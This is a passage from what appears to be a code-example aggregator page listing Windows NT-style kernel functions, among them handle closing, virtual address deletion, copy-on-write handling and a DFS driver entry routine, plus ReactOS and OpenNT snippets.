                    SeCloseObjectAuditAlarm( Object,
                                             (HANDLE)((ULONG_PTR)Handle & ~OBJ_HANDLE_TAGBITS),  // Mask off the tagbits defined for OB objects.
                                             TRUE );
                }
            }

            //
            //  Since we took the handle away we need to decrement the objects
            //  handle count, and remove a reference
            //

            ObpDecrementHandleCount( PsGetCurrentProcess(),
                                     ObjectHeader,
                                     ObjectHeader->Type,
                                     CapturedGrantedAccess );

            ObDereferenceObject( Object );

            ObpEndTypeSpecificCallOut( SaveIrql, "NtClose", ObjectType, Object );

            //
            //  If we are attached to the system process then return
            //  back to our caller
            //

            if (AttachedToProcess) {
                KeUnstackDetachProcess(&ApcState);
                AttachedToProcess = FALSE;
            }

            //
            //  And return to our caller
            //

            Status = STATUS_SUCCESS;
            leave;

        } else {

            //
            //  At this point the input handle did not translate to a valid
            //  object table entry
            //

            ObpEndTypeSpecificCallOut( SaveIrql, "NtClose", ObpTypeObjectType, Handle );

            //
            //  If we are attached to the system process then return
            //  back to our caller
            //

            if (AttachedToProcess) {
                KeUnstackDetachProcess(&ApcState);
                AttachedToProcess = FALSE;
            }

            //
            //  Now if the handle is not null and it does not represent the
            //  current thread or process then if we're user mode we either raise
            //  or return an error
            //

            if ((Handle != NULL) &&
                (Handle != NtCurrentThread()) &&
                (Handle != NtCurrentProcess())) {

                if (KeGetPreviousMode() != KernelMode) {

                    if ((NtGlobalFlag & FLG_ENABLE_CLOSE_EXCEPTIONS) ||
                        (PsGetCurrentProcess()->DebugPort != NULL)) {

                        Status = KeRaiseUserException(STATUS_INVALID_HANDLE);
                        leave;

                    } else {

                        Status = STATUS_INVALID_HANDLE;
                        leave;
                    }

                } else {

                    //
                    //  bugcheck here if kernel debugger is enabled and if kernel mode code is
                    //  closing a bogus handle and process is not exiting.  Ignore
                    //  if no PEB as this occurs if process is killed before
                    //  really starting.
                    //

                    if (( !PsIsThreadTerminating(PsGetCurrentThread())) &&
                        (PsGetCurrentProcess()->Peb != NULL)) {

                        if (KdDebuggerEnabled) {
                            KeBugCheckEx(INVALID_KERNEL_HANDLE, (ULONG_PTR)Handle, 1, 0, 0);
                        }
                    }

                }
            }

            Status = STATUS_INVALID_HANDLE;
            leave;
        }

    } finally {

        KeLeaveCriticalRegion();
    }

    return Status;
}
예제 #25
0
VOID
MiDeleteVirtualAddresses (
    IN PUCHAR StartingAddress,
    IN PUCHAR EndingAddress,
    IN ULONG AddressSpaceDeletion,
    IN PMMVAD Vad
    )

/*++

Routine Description:

    This routine deletes the specified virtual address range within
    the current process.

Arguments:

    StartingAddress - Supplies the first virtual address to delete.

    EndingAddress - Supplies the last address to delete.

    AddressSpaceDeletion - Supplies TRUE if the address space is being
                           deleted, FALSE otherwise.  If TRUE is specified
                           the TB is not flushed and valid addresses are
                           not removed from the working set.

    Vad - Supplies the virtual address descriptor which maps this range
          or NULL if we are not concerned about views.  From the Vad the
          range of prototype PTEs is determined and this information is
          used to uncover if the PTE refers to a prototype PTE or a
          fork PTE.

Return Value:

    None.


Environment:

    Kernel mode, called with APCs disabled working set mutex and PFN lock
    held.  These mutexes may be released and reacquired to fault pages in.

--*/

{
    PUCHAR Va;
    PVOID TempVa;
    PMMPTE PointerPte;
    PMMPTE PointerPde;
    PMMPTE OriginalPointerPte;
    PMMPTE ProtoPte;
    PMMPTE LastProtoPte;
    PEPROCESS CurrentProcess;
    ULONG FlushTb = FALSE;
    PSUBSECTION Subsection;
    PUSHORT UsedPageTableCount;
    KIRQL OldIrql = APC_LEVEL;
    MMPTE_FLUSH_LIST FlushList;

    FlushList.Count = 0;

    MM_PFN_LOCK_ASSERT();
    CurrentProcess = PsGetCurrentProcess();

    Va = StartingAddress;
    PointerPde = MiGetPdeAddress (Va);
    PointerPte = MiGetPteAddress (Va);
    OriginalPointerPte = PointerPte;
    UsedPageTableCount =
            &MmWorkingSetList->UsedPageTableEntries[MiGetPdeOffset(Va)];

    while (MiDoesPdeExistAndMakeValid (PointerPde,
                                       CurrentProcess,
                                       TRUE)           ==  FALSE) {

        //
        // This page directory entry is empty, go to the next one.
        //

        PointerPde += 1;
        PointerPte = MiGetVirtualAddressMappedByPte (PointerPde);
        Va = MiGetVirtualAddressMappedByPte (PointerPte);

        if (Va > EndingAddress) {

            //
            // All done, return.
            //

            return;

        }
        UsedPageTableCount += 1;
    }

    //
    // A valid PDE has been located, examine each PTE and delete them.
    //

    if ((Vad == (PMMVAD)NULL) ||
        (Vad->u.VadFlags.PrivateMemory) ||
        (Vad->FirstPrototypePte == (PMMPTE)NULL)) {
        ProtoPte = (PMMPTE)NULL;
        LastProtoPte = (PMMPTE)NULL;
    } else {
        ProtoPte = Vad->FirstPrototypePte;
        LastProtoPte = (PMMPTE)4;
    }

    //
    // Examine each PTE within the address range and delete it.
    //

    while (Va <= EndingAddress) {

        if (((ULONG)Va & PAGE_DIRECTORY_MASK) == 0) {

            //
            // Note, the initial address could be aligned on a 4mb boundary.
            //

            //
            // The virtual address is on a page directory (4mb) boundary,
            // check the next PDE for validity and flush PTEs for previous
            // page table page.
            //

            MiFlushPteList (&FlushList, FALSE, ZeroPte);

            //
            // If all the entries have been eliminated from the previous
            // page table page, delete the page table page itself.
            //

            if ((*UsedPageTableCount == 0) && (PointerPde->u.Long != 0)) {

                TempVa = MiGetVirtualAddressMappedByPte(PointerPde);
                MiDeletePte (PointerPde,
                             TempVa,
                             AddressSpaceDeletion,
                             CurrentProcess,
                             NULL,
                             NULL);
            }

            //
            // Release the PFN lock.  This prevents a single thread
            // from forcing other high priority threads from being
            // blocked while a large address range is deleted.  There
            // is nothing magic about the instruction within the
            // lock and unlock.
            //

            UNLOCK_PFN (OldIrql);
            PointerPde = MiGetPdeAddress (Va);
            LOCK_PFN (OldIrql);

            UsedPageTableCount =
                   &MmWorkingSetList->UsedPageTableEntries[MiGetPdeOffset(Va)];

            while (MiDoesPdeExistAndMakeValid (
                                  PointerPde, CurrentProcess, TRUE) == FALSE) {

                //
                // This page directory entry is empty, go to the next one.
                //

                PointerPde += 1;
                PointerPte = MiGetVirtualAddressMappedByPte (PointerPde);
                Va = MiGetVirtualAddressMappedByPte (PointerPte);

                if (Va > EndingAddress) {

                    //
                    // All done, return.
                    //

                    return;
                }

                UsedPageTableCount += 1;
                if (LastProtoPte != NULL) {
                    ProtoPte = MiGetProtoPteAddress(Vad,Va);
                    Subsection = MiLocateSubsection (Vad,Va);
                    LastProtoPte = &Subsection->SubsectionBase[Subsection->PtesInSubsection];
#if DBG
                    if (Vad->u.VadFlags.ImageMap != 1) {
                        if ((ProtoPte < Subsection->SubsectionBase) ||
                            (ProtoPte >= LastProtoPte)) {
                            DbgPrint ("bad proto pte %lx va %lx Vad %lx sub %lx\n",
                            ProtoPte,Va,Vad,Subsection);
                            DbgBreakPoint();
                        }
                    }
#endif //DBG
                }
            }
        }

        //
        // The PDE is now valid, delete the ptes
        //

        if (PointerPte->u.Long != 0) {
#ifdef R4000
            ASSERT (PointerPte->u.Hard.Global == 0);
#endif

            //
            // One less used page table entry in this page table page.
            //

            *UsedPageTableCount -= 1;
            ASSERT (*UsedPageTableCount < PTE_PER_PAGE);

            if (IS_PTE_NOT_DEMAND_ZERO (*PointerPte)) {

                if (LastProtoPte != NULL) {
                    if (ProtoPte >= LastProtoPte) {
                        ProtoPte = MiGetProtoPteAddress(Vad,Va);
                        Subsection = MiLocateSubsection (Vad,Va);
                        LastProtoPte = &Subsection->SubsectionBase[Subsection->PtesInSubsection];
                    }
#if DBG
                    if (Vad->u.VadFlags.ImageMap != 1) {
                        if ((ProtoPte < Subsection->SubsectionBase) ||
                            (ProtoPte >= LastProtoPte)) {
                            DbgPrint ("bad proto pte %lx va %lx Vad %lx sub %lx\n",
                                        ProtoPte,Va,Vad,Subsection);
                            DbgBreakPoint();
                        }
                    }
#endif //DBG
                }

                MiDeletePte (PointerPte,
                             (PVOID)Va,
                             AddressSpaceDeletion,
                             CurrentProcess,
                             ProtoPte,
                             &FlushList);
            } else {
                *PointerPte = ZeroPte;
            }
        }
        Va = Va + PAGE_SIZE;
        PointerPte++;
        ProtoPte++;

    }

    //
    // Flush out entries for the last page table page.
    //

    MiFlushPteList (&FlushList, FALSE, ZeroPte);

    //
    // If all the entries have been eliminated from the previous
    // page table page, delete the page table page itself.
    //

    if ((*UsedPageTableCount == 0) && (PointerPde->u.Long != 0)) {

        TempVa = MiGetVirtualAddressMappedByPte(PointerPde);
        MiDeletePte (PointerPde,
                     TempVa,
                     AddressSpaceDeletion,
                     CurrentProcess,
                     NULL,
                     NULL);
    }

    //
    // All done, return.
    //

    return;
}
예제 #26
0
LOGICAL
FASTCALL
MiCopyOnWrite (
    IN PVOID FaultingAddress,
    IN PMMPTE PointerPte
    )

/*++

Routine Description:

    This routine performs a copy on write operation for the specified
    virtual address.

Arguments:

    FaultingAddress - Supplies the virtual address which caused the fault.

    PointerPte - Supplies the pointer to the PTE which caused the page fault.

Return Value:

    Returns TRUE if the page was actually split, FALSE if not.

Environment:

    Kernel mode, APCs disabled, working set mutex held.

--*/

{
    MMPTE TempPte;
    MMPTE TempPte2;
    PMMPTE MappingPte;
    PFN_NUMBER PageFrameIndex;
    PFN_NUMBER NewPageIndex;
    PVOID CopyTo;
    PVOID CopyFrom;
    KIRQL OldIrql;
    PMMPFN Pfn1;
    PEPROCESS CurrentProcess;
    PMMCLONE_BLOCK CloneBlock;
    PMMCLONE_DESCRIPTOR CloneDescriptor;
    WSLE_NUMBER WorkingSetIndex;
    LOGICAL FakeCopyOnWrite;
    PMMWSL WorkingSetList;
    PVOID SessionSpace;
    PLIST_ENTRY NextEntry;
    PIMAGE_ENTRY_IN_SESSION Image;

    //
    // This is called from MmAccessFault, the PointerPte is valid
    // and the working set mutex ensures it cannot change state.
    //
    // Capture the PTE contents to TempPte.
    //

    TempPte = *PointerPte;
    ASSERT (TempPte.u.Hard.Valid == 1);

    PageFrameIndex = MI_GET_PAGE_FRAME_FROM_PTE (&TempPte);
    Pfn1 = MI_PFN_ELEMENT (PageFrameIndex);

    //
    // Check to see if this is a prototype PTE with copy on write enabled.
    //

    FakeCopyOnWrite = FALSE;
    CurrentProcess = PsGetCurrentProcess ();
    CloneBlock = NULL;

    if (FaultingAddress >= (PVOID) MmSessionBase) {

        WorkingSetList = MmSessionSpace->Vm.VmWorkingSetList;
        ASSERT (Pfn1->u3.e1.PrototypePte == 1);
        SessionSpace = (PVOID) MmSessionSpace;

        MM_SESSION_SPACE_WS_LOCK_ASSERT ();

        if (MmSessionSpace->ImageLoadingCount != 0) {

            NextEntry = MmSessionSpace->ImageList.Flink;
    
            while (NextEntry != &MmSessionSpace->ImageList) {
    
                Image = CONTAINING_RECORD (NextEntry, IMAGE_ENTRY_IN_SESSION, Link);
    
                if ((FaultingAddress >= Image->Address) &&
                    (FaultingAddress <= Image->LastAddress)) {
    
                    if (Image->ImageLoading) {
    
                        ASSERT (Pfn1->u3.e1.PrototypePte == 1);
    
                        TempPte.u.Hard.CopyOnWrite = 0;
                        TempPte.u.Hard.Write = 1;
    
                        //
                        // The page is no longer copy on write, update the PTE
                        // setting both the dirty bit and the accessed bit.
                        //
                        // Even though the page's current backing is the image
                        // file, the modified writer will convert it to
                        // pagefile backing when it notices the change later.
                        //
    
                        MI_SET_PTE_DIRTY (TempPte);
                        MI_SET_ACCESSED_IN_PTE (&TempPte, 1);
    
                        MI_WRITE_VALID_PTE_NEW_PROTECTION (PointerPte, TempPte);
    
                        //
                        // The TB entry must be flushed as the valid PTE with
                        // the dirty bit clear has been fetched into the TB. If
                        // it isn't flushed, another fault is generated as the
                        // dirty bit is not set in the cached TB entry.
                        //
    
                        MI_FLUSH_SINGLE_TB (FaultingAddress, TRUE);
    
                        return FALSE;
                    }
                    break;
                }
    
                NextEntry = NextEntry->Flink;
            }
        }
    }
    else {
        WorkingSetList = MmWorkingSetList;
        SessionSpace = NULL;

        //
        // If a fork operation is in progress, block until the fork is
        // completed, then retry the whole operation as the state of
        // everything may have changed between when the mutexes were
        // released and reacquired.
        //

        if (CurrentProcess->ForkInProgress != NULL) {
            if (MiWaitForForkToComplete (CurrentProcess) == TRUE) {
                return FALSE;
            }
        }

        if (TempPte.u.Hard.CopyOnWrite == 0) {

            //
            // This is a fork page which is being made private in order
            // to change the protection of the page.
            // Do not make the page writable.
            //

            FakeCopyOnWrite = TRUE;
        }
    }

    WorkingSetIndex = MiLocateWsle (FaultingAddress,
                                    WorkingSetList,
                                    Pfn1->u1.WsIndex,
                                    FALSE);

    //
    // The page must be copied into a new page.
    //

    LOCK_PFN (OldIrql);

    if ((MmAvailablePages < MM_HIGH_LIMIT) &&
        (MiEnsureAvailablePageOrWait (SessionSpace != NULL ? HYDRA_PROCESS : CurrentProcess, OldIrql))) {

        //
        // A wait operation was performed to obtain an available
        // page and the working set mutex and PFN lock have
        // been released and various things may have changed for
        // the worse.  Rather than examine all the conditions again,
        // return and if things are still proper, the fault will
        // be taken again.
        //

        UNLOCK_PFN (OldIrql);
        return FALSE;
    }

    //
    // This must be a prototype PTE.  Perform the copy on write.
    //

    ASSERT (Pfn1->u3.e1.PrototypePte == 1);

    //
    // A page is being copied and made private, the global state of
    // the shared page needs to be updated at this point on certain
    // hardware.  This is done by ORing the dirty bit into the modify bit in
    // the PFN element.
    //
    // Note that a session page cannot be dirty (no POSIX-style forking is
    // supported for these drivers).
    //

    if (SessionSpace != NULL) {
        ASSERT ((TempPte.u.Hard.Valid == 1) && (TempPte.u.Hard.Write == 0));
        ASSERT (!MI_IS_PTE_DIRTY (TempPte));

        NewPageIndex = MiRemoveAnyPage (MI_GET_PAGE_COLOR_FROM_SESSION(MmSessionSpace));
    }
    else {
        MI_CAPTURE_DIRTY_BIT_TO_PFN (PointerPte, Pfn1);
        CloneBlock = (PMMCLONE_BLOCK) Pfn1->PteAddress;

        //
        // Get a new page with the same color as this page.
        //

        NewPageIndex = MiRemoveAnyPage (
                        MI_PAGE_COLOR_PTE_PROCESS(PageFrameIndex,
                                              &CurrentProcess->NextPageColor));
    }

    MiInitializeCopyOnWritePfn (NewPageIndex,
                                PointerPte,
                                WorkingSetIndex,
                                WorkingSetList);

    UNLOCK_PFN (OldIrql);

    InterlockedIncrement (&KeGetCurrentPrcb ()->MmCopyOnWriteCount);

    CopyFrom = PAGE_ALIGN (FaultingAddress);

    MappingPte = MiReserveSystemPtes (1, SystemPteSpace);

    if (MappingPte != NULL) {

        MI_MAKE_VALID_KERNEL_PTE (TempPte2,
                                  NewPageIndex,
                                  MM_READWRITE,
                                  MappingPte);

        MI_SET_PTE_DIRTY (TempPte2);

        if (Pfn1->u3.e1.CacheAttribute == MiNonCached) {
            MI_DISABLE_CACHING (TempPte2);
        }
        else if (Pfn1->u3.e1.CacheAttribute == MiWriteCombined) {
            MI_SET_PTE_WRITE_COMBINE (TempPte2);
        }

        MI_WRITE_VALID_PTE (MappingPte, TempPte2);

        CopyTo = MiGetVirtualAddressMappedByPte (MappingPte);
    }
    else {

        CopyTo = MiMapPageInHyperSpace (CurrentProcess,
                                        NewPageIndex,
                                        &OldIrql);
    }

    KeCopyPage (CopyTo, CopyFrom);

    if (MappingPte != NULL) {
        MiReleaseSystemPtes (MappingPte, 1, SystemPteSpace);
    }
    else {
        MiUnmapPageInHyperSpace (CurrentProcess, CopyTo, OldIrql);
    }

    if (!FakeCopyOnWrite) {

        //
        // If the page was really a copy on write page, make it
        // accessed, dirty and writable.  Also, clear the copy-on-write
        // bit in the PTE.
        //

        MI_SET_PTE_DIRTY (TempPte);
        TempPte.u.Hard.Write = 1;
        MI_SET_ACCESSED_IN_PTE (&TempPte, 1);
        TempPte.u.Hard.CopyOnWrite = 0;
    }

    //
    // Regardless of whether the page was really a copy on write,
    // the frame field of the PTE must be updated.
    //

    TempPte.u.Hard.PageFrameNumber = NewPageIndex;

    //
    // If the modify bit is set in the PFN database for the
    // page, the data cache must be flushed.  This is due to the
    // fact that this process may have been cloned and the cache
    // still contains stale data destined for the page we are
    // going to remove.
    //

    ASSERT (TempPte.u.Hard.Valid == 1);

    MI_WRITE_VALID_PTE_NEW_PAGE (PointerPte, TempPte);

    //
    // Flush the TB entry for this page.
    //

    if (SessionSpace == NULL) {

        MI_FLUSH_SINGLE_TB (FaultingAddress, FALSE);

        //
        // Increment the number of private pages.
        //

        CurrentProcess->NumberOfPrivatePages += 1;
    }
    else {

        MI_FLUSH_SINGLE_TB (FaultingAddress, TRUE);

        ASSERT (Pfn1->u3.e1.PrototypePte == 1);
    }

    //
    // Decrement the share count for the page which was copied
    // as this PTE no longer refers to it.
    //

    LOCK_PFN (OldIrql);

    MiDecrementShareCount (Pfn1, PageFrameIndex);

    if (SessionSpace == NULL) {

        CloneDescriptor = MiLocateCloneAddress (CurrentProcess,
                                                (PVOID)CloneBlock);

        if (CloneDescriptor != NULL) {

            //
            // Decrement the reference count for the clone block,
            // note that this could release and reacquire the mutexes.
            //

            MiDecrementCloneBlockReference (CloneDescriptor,
                                            CloneBlock,
                                            CurrentProcess,
                                            NULL,
                                            OldIrql);
        }
    }

    UNLOCK_PFN (OldIrql);
    return TRUE;
}
예제 #27
0
파일: csr.c 프로젝트: Strongc/reactos
/*
 * Function copied from ntdll/csr/connect.c::CsrClientCallServer
 * and adapted for kernel-mode.
 *
 * NOTE: This is really a co_* function!
 */
NTSTATUS
NTAPI
CsrClientCallServer(IN OUT PCSR_API_MESSAGE ApiMessage,
                    IN OUT PCSR_CAPTURE_BUFFER CaptureBuffer OPTIONAL,
                    IN CSR_API_NUMBER ApiNumber,
                    IN ULONG DataLength)
{
    NTSTATUS Status;
#if 0
    ULONG PointerCount;
    PULONG_PTR OffsetPointer;
#endif

    /* Do we have a connection to CSR yet? */
    if (!CsrApiPort)
        return STATUS_INVALID_PORT_HANDLE;

    /* Fill out the Port Message Header */
    ApiMessage->Header.u2.ZeroInit = 0;
    ApiMessage->Header.u1.s1.TotalLength = DataLength +
        sizeof(CSR_API_MESSAGE) - sizeof(ApiMessage->Data); // FIELD_OFFSET(CSR_API_MESSAGE, Data) + DataLength;
    ApiMessage->Header.u1.s1.DataLength = DataLength +
        FIELD_OFFSET(CSR_API_MESSAGE, Data) - sizeof(ApiMessage->Header); // ApiMessage->Header.u1.s1.TotalLength - sizeof(PORT_MESSAGE);

    /* Fill out the CSR Header */
    ApiMessage->ApiNumber = ApiNumber;
    ApiMessage->CsrCaptureData = NULL;

    TRACE("API: %lx, u1.s1.DataLength: %x, u1.s1.TotalLength: %x\n",
          ApiNumber,
          ApiMessage->Header.u1.s1.DataLength,
          ApiMessage->Header.u1.s1.TotalLength);

#if 0
    /* Check if we got a Capture Buffer */
    if (CaptureBuffer)
    {
        /*
         * We have to convert from our local (client) view
         * to the remote (server) view.
         */
        ApiMessage->CsrCaptureData = (PCSR_CAPTURE_BUFFER)
            ((ULONG_PTR)CaptureBuffer + CsrPortMemoryDelta);

        /* Lock the buffer. */
        CaptureBuffer->BufferEnd = NULL;

        /*
         * Each client pointer inside the CSR message is converted into
         * a server pointer, and each pointer to these message pointers
         * is converted into an offset.
         */
        PointerCount  = CaptureBuffer->PointerCount;
        OffsetPointer = CaptureBuffer->PointerOffsetsArray;
        while (PointerCount--)
        {
            if (*OffsetPointer != 0)
            {
                *(PULONG_PTR)*OffsetPointer += CsrPortMemoryDelta;
                *OffsetPointer -= (ULONG_PTR)ApiMessage;
            }
            ++OffsetPointer;
        }
    }
#endif

    UserLeaveCo();

    /* Send the LPC Message */

    // The wait logic below is subject to change in the future. One can
    // imagine adding an external parameter to CsrClientCallServer, or write
    // two versions of CsrClientCallServer, synchronous and asynchronous.
    if (PsGetCurrentProcess() == gpepCSRSS)
    {
        Status = LpcRequestPort(CsrApiPort,
                                &ApiMessage->Header);
    }
    else
    {
        Status = LpcRequestWaitReplyPort(CsrApiPort,
                                         &ApiMessage->Header,
                                         &ApiMessage->Header);
    }

    UserEnterCo();

#if 0
    /* Check if we got a Capture Buffer */
    if (CaptureBuffer)
    {
        /*
         * We have to convert back from the remote (server) view
         * to our local (client) view.
         */
        ApiMessage->CsrCaptureData = (PCSR_CAPTURE_BUFFER)
            ((ULONG_PTR)ApiMessage->CsrCaptureData - CsrPortMemoryDelta);

        /*
         * Convert back the offsets into pointers to CSR message
         * pointers, and convert back these message server pointers
         * into client pointers.
         */
        PointerCount  = CaptureBuffer->PointerCount;
        OffsetPointer = CaptureBuffer->PointerOffsetsArray;
        while (PointerCount--)
        {
            if (*OffsetPointer != 0)
            {
                *OffsetPointer += (ULONG_PTR)ApiMessage;
                *(PULONG_PTR)*OffsetPointer -= CsrPortMemoryDelta;
            }
            ++OffsetPointer;
        }
    }
#endif

    /* Check for success */
    if (!NT_SUCCESS(Status))
    {
        /* We failed. Overwrite the return value with the failure. */
        ERR("LPC Failed: %lx\n", Status);
        ApiMessage->Status = Status;
    }

    /* Return the CSR Result */
    TRACE("Got back: 0x%lx\n", ApiMessage->Status);
    return ApiMessage->Status;
}
예제 #28
0
VOID
MiUpdateSystemPdes (
    IN PEPROCESS Process
    )

/*++

Routine Description:

    This routine updates the system PDEs, typically due to a large page
    system PTE mapping being created or destroyed.  This is rare.

    Note this is only needed for 32-bit platforms (64-bit platforms share
    a common top level system page).

Arguments:

    Process - Supplies a pointer to the process to update.

Return Value:

    None.

Environment:

    Kernel mode, expansion lock held.

    The caller acquired the expansion lock prior to clearing the update
    bit from this process.  We must update the PDEs prior to releasing
    it so that any new updates can also be rippled.

--*/

{
    ULONG i;
    ULONG PdeOffset;
    ULONG PdeEndOffset;
    MMPTE TempPte;
    PFN_NUMBER PageDirectoryIndex;
    PFN_NUMBER TargetPageDirectoryIndex;
    PEPROCESS CurrentProcess;
    PMMPTE PointerPte;
    PMMPTE PointerPde;
    PMMPTE TargetPdePage;
    PMMPTE TargetAddressSpacePde;

    ASSERT (KeGetCurrentIrql () == DISPATCH_LEVEL);

    CurrentProcess = PsGetCurrentProcess ();

    //
    // Map the page directory page in hyperspace.
    // Note for PAE, this is the high 1GB virtual only.
    //

    ASSERT (Process->Pcb.DirectoryTableBase[0] != 0);
    TargetPageDirectoryIndex = Process->Pcb.DirectoryTableBase[0] >> PAGE_SHIFT;

    ASSERT (PsInitialSystemProcess != NULL);
    ASSERT (PsInitialSystemProcess->Pcb.DirectoryTableBase[0] != 0);
    PageDirectoryIndex = PsInitialSystemProcess->Pcb.DirectoryTableBase[0] >> PAGE_SHIFT;

    TempPte = ValidKernelPte;
    TempPte.u.Hard.PageFrameNumber = TargetPageDirectoryIndex;
    ASSERT (MiLargePageHyperPte->u.Long == 0);
    MI_WRITE_VALID_PTE (MiLargePageHyperPte, TempPte);
    TargetPdePage = MiGetVirtualAddressMappedByPte (MiLargePageHyperPte);

    //
    // Map the system process page directory as we know that's always kept
    // up to date.
    //

    PointerPte = MiMapPageInHyperSpaceAtDpc (CurrentProcess,
                                             PageDirectoryIndex);

    //
    // Copy all system PTE ranges.
    //

    for (i = 0; i < MiPteRangeIndex; i += 1) {

        PdeOffset = MiGetPdeOffset (MiPteRanges[i].StartingVa);
        PdeEndOffset = MiGetPdeOffset (MiPteRanges[i].EndingVa);

        PointerPde = &PointerPte[PdeOffset];
        TargetAddressSpacePde = &TargetPdePage[PdeOffset];

        RtlCopyMemory (TargetAddressSpacePde,
                       PointerPde,
                       (PdeEndOffset - PdeOffset + 1) * sizeof (MMPTE));

    }

    MiUnmapPageInHyperSpaceFromDpc (CurrentProcess, PointerPte);

    //
    // Just invalidate the mapping on the current processor as we cannot
    // have context switched.
    //

    MI_WRITE_ZERO_PTE (MiLargePageHyperPte);
    MI_FLUSH_CURRENT_TB_SINGLE (TargetPdePage);

    return;
}
예제 #29
0
파일: connmgr.c 프로젝트: mingpen/OpenNT
//+-------------------------------------------------------------------------
//
//  Function:   CreateClient
//
//  Synopsis:   Creates a client representing this caller.  Establishes
//              a connection with the SPM.
//
//  Effects:
//
//  Arguments:
//
//  Requires:
//
//  Returns:
//
//  Notes:
//
//--------------------------------------------------------------------------
NTSTATUS
CreateClient(PClient *  ppClient)
{
    PClient     pClient;
    NTSTATUS    scRet;
    KIRQL       OldIrql;
    HANDLE      hEvent;
    STRING      LogonProcessName;
    STRING      PackageName;
    LSA_OPERATIONAL_MODE LsaMode;
    HANDLE      LsaHandle = NULL;




    if (!fInitialized)
    {
        if (!InitConnMgr())
        {
            DebugLog((DEB_ERROR,"InitConnMgr Failed!\n"));
            return(SEC_E_INTERNAL_ERROR);
        }
    }
    //
    // Call the LSA to register this logon process.
    //

    RtlInitString(
        &LogonProcessName,
        LogonProcessString
        );


    scRet = LsaRegisterLogonProcess(
                &LogonProcessName,
                &LsaHandle,
                &LsaMode
                );

    if (!NT_SUCCESS(scRet))
    {
        DebugLog((DEB_ERROR,"KSec: Connection failed, postponing\n"));
        return(SEC_E_INTERNAL_ERROR);
    }

    //
    // Lookup the authentication package.
    //

    RtlInitString(
        &PackageName,
        MSV1_0_PACKAGE_NAME
        );

    scRet = LsaLookupAuthenticationPackage(
                LsaHandle,
                &PackageName,
                &PackageId
                );
    if (!NT_SUCCESS(scRet))
    {
        NtClose(LsaHandle);
        return(SEC_E_INTERNAL_ERROR);
    }

    pClient = (PClient) ExAllocatePool(NonPagedPool, sizeof(Client));

    if (!pClient)
    {
        DebugLog((DEB_ERROR,"KSec:  ExAllocatePool returned NULL.\n"));
        NtClose(LsaHandle);
        return(SEC_E_INSUFFICIENT_MEMORY);
    }

    pClient->ProcessId    = PsGetCurrentProcess();
    pClient->fClient      = 0;
    pClient->hPort        = LsaHandle;
    pClient->cRefs        = 1;



    // Adding the connection in to the client list:
    //
    // This has got to be MT/MP safe, so first,

    // get exclusive access to the Connection list:

    KeAcquireSpinLock(&ConnectSpinLock, &OldIrql);

    // Now, add the entry:

    cClients++;
    pClient->pNext = pClientList;
    pClientList = pClient;

    // Now, free the spin lock:

    KeReleaseSpinLock(&ConnectSpinLock, OldIrql);

    *ppClient = pClient;

    return(STATUS_SUCCESS);

}
예제 #30
-1
NTSTATUS
DfsDriverEntry(
    IN PDRIVER_OBJECT DriverObject,
    IN PUNICODE_STRING RegistryPath
) {
    NTSTATUS Status;
    UNICODE_STRING UnicodeString;
    PDEVICE_OBJECT DeviceObject;
    OBJECT_ATTRIBUTES ObjectAttributes;
    PWSTR p;
    int i;
    HANDLE hTemp;
    HANDLE DirHandle;
    IO_STATUS_BLOCK iosb;

    //
    // See if someone else has already created a File System Device object
    // with the name we intend to use. If so, we bail.
    //

    RtlInitUnicodeString( &UnicodeString, DFS_DRIVER_NAME );

    InitializeObjectAttributes(
        &ObjectAttributes,
        &UnicodeString,
        OBJ_CASE_INSENSITIVE,
        0,
        NULL);

    Status = ZwCreateFile(
                 &hTemp,
                 SYNCHRONIZE,
                 &ObjectAttributes,
                 &iosb,
                 NULL,
                 FILE_ATTRIBUTE_NORMAL,
                 FILE_SHARE_READ | FILE_SHARE_WRITE,
                 FILE_OPEN,
                 0,
                 NULL,
                 0);

    if (NT_SUCCESS(Status)) {
        ZwClose( hTemp );
        DfsDbgTrace(0, Dbg, "Dfs driver already loaded!\n", 0);
        return( STATUS_UNSUCCESSFUL );
    }

    //
    // Create the filesystem device object.
    //

    Status = IoCreateDevice( DriverObject,
             0,
             &UnicodeString,
             FILE_DEVICE_DFS_FILE_SYSTEM,
             FILE_REMOTE_DEVICE,
             FALSE,
             &DeviceObject );
    if ( !NT_SUCCESS( Status ) ) {
        return Status;
    }

    //
    // Create a permanent object directory in which the logical root
    // device objects will reside.  Make the directory temporary, so
    // we can just close the handle to make it go away.
    //

    UnicodeString.Buffer = p = LogicalRootDevPath;
    UnicodeString.Length = 0;
    UnicodeString.MaximumLength = MAX_LOGICAL_ROOT_LEN;
    while (*p++ != UNICODE_NULL)
        UnicodeString.Length += sizeof (WCHAR);

    InitializeObjectAttributes(
        &ObjectAttributes,
        &UnicodeString,
        OBJ_PERMANENT,
        NULL,
        NULL );

    Status = ZwCreateDirectoryObject(
                &DirHandle,
                DIRECTORY_ALL_ACCESS,
                &ObjectAttributes);

    if ( !NT_SUCCESS( Status ) ) {
        return Status;
    }

    ZwMakeTemporaryObject(DirHandle);

    p[-1] = UNICODE_PATH_SEP;
    UnicodeString.Length += sizeof (WCHAR);

    //
    // Initialize the driver object with this driver's entry points.
    // Most are simply passed through to some other device driver.
    //

    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = DfsVolumePassThrough;
    }

    DriverObject->MajorFunction[IRP_MJ_CREATE]      = (PDRIVER_DISPATCH)DfsFsdCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]       = (PDRIVER_DISPATCH)DfsFsdClose;
    DriverObject->MajorFunction[IRP_MJ_CLEANUP]     = (PDRIVER_DISPATCH)DfsFsdCleanup;
    DriverObject->MajorFunction[IRP_MJ_QUERY_INFORMATION] = (PDRIVER_DISPATCH)DfsFsdQueryInformation;
    DriverObject->MajorFunction[IRP_MJ_SET_INFORMATION] = (PDRIVER_DISPATCH)DfsFsdSetInformation;
    DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = (PDRIVER_DISPATCH)DfsFsdFileSystemControl;
    DriverObject->MajorFunction[IRP_MJ_QUERY_VOLUME_INFORMATION]= (PDRIVER_DISPATCH)DfsFsdQueryVolumeInformation;
    DriverObject->MajorFunction[IRP_MJ_SET_VOLUME_INFORMATION]= (PDRIVER_DISPATCH)DfsFsdSetVolumeInformation;

    DriverObject->FastIoDispatch = &FastIoDispatch;

    //
    //  Initialize the global data structures
    //

    RtlZeroMemory(&DfsData, sizeof (DFS_DATA));

    DfsData.NodeTypeCode = DSFS_NTC_DATA_HEADER;
    DfsData.NodeByteSize = sizeof( DFS_DATA );

